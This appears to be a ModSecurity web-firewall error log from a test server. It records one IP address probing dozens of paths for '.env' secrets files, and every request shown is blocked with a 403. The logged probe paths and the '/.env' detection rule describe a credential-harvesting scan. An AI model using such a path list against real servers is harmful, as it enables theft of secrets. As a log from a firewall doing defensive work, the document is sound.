[Wed Feb 25 06:05:05.640908 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/drupal-separate-services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcwAAAAQ&quot;]
[Wed Feb 25 06:05:05.641183 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcwAAAAQ&quot;]
[Wed Feb 25 06:05:05.641353 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcwAAAAQ&quot;]
[Wed Feb 25 06:05:05.689767 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/react-dashboard/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdAAAAAQ&quot;]
[Wed Feb 25 06:05:05.690054 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdAAAAAQ&quot;]
[Wed Feb 25 06:05:05.690244 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdAAAAAQ&quot;]
[Wed Feb 25 06:05:05.718347 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdQAAAAQ&quot;]
[Wed Feb 25 06:05:05.718649 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdQAAAAQ&quot;]
[Wed Feb 25 06:05:05.718861 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdQAAAAQ&quot;]
[Wed Feb 25 06:05:05.752013 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/prisma/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdgAAAAQ&quot;]
[Wed Feb 25 06:05:05.752305 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdgAAAAQ&quot;]
[Wed Feb 25 06:05:05.752487 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdgAAAAQ&quot;]
[Wed Feb 25 06:05:05.754923 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiaxgAAAAA&quot;]
[Wed Feb 25 06:05:05.755192 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiaxgAAAAA&quot;]
[Wed Feb 25 06:05:05.755353 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiaxgAAAAA&quot;]
[Wed Feb 25 06:05:05.817800 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/vue-dashboard/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdwAAAAQ&quot;]
[Wed Feb 25 06:05:05.818183 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdwAAAAQ&quot;]
[Wed Feb 25 06:05:05.818393 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXdwAAAAQ&quot;]
[Wed Feb 25 06:05:05.845379 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXeAAAAAQ&quot;]
[Wed Feb 25 06:05:05.845660 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXeAAAAAQ&quot;]
[Wed Feb 25 06:05:05.845839 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXeAAAAAQ&quot;]
[Wed Feb 25 06:05:05.900684 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-cookie-auth-fauna/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXeQAAAAQ&quot;]
[Wed Feb 25 06:05:05.900961 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXeQAAAAQ&quot;]
[Wed Feb 25 06:05:05.901147 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-cookie-auth-fauna/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXeQAAAAQ&quot;]
[Wed Feb 25 06:05:05.984531 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /directories/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiayQAAAAA&quot;]
[Wed Feb 25 06:05:05.984857 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiayQAAAAA&quot;]
[Wed Feb 25 06:05:05.985064 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiayQAAAAA&quot;]
[Wed Feb 25 06:05:05.986002 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-dotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXegAAAAQ&quot;]
[Wed Feb 25 06:05:05.986259 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXegAAAAQ&quot;]
[Wed Feb 25 06:05:05.986452 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-dotenv/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXegAAAAQ&quot;]
[Wed Feb 25 06:05:06.059266 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-firebase-authentication-serverless/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ6DAp6MLyC5r86Hx-ZXewAAAAQ&quot;]
[Wed Feb 25 06:05:06.059567 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ6DAp6MLyC5r86Hx-ZXewAAAAQ&quot;]
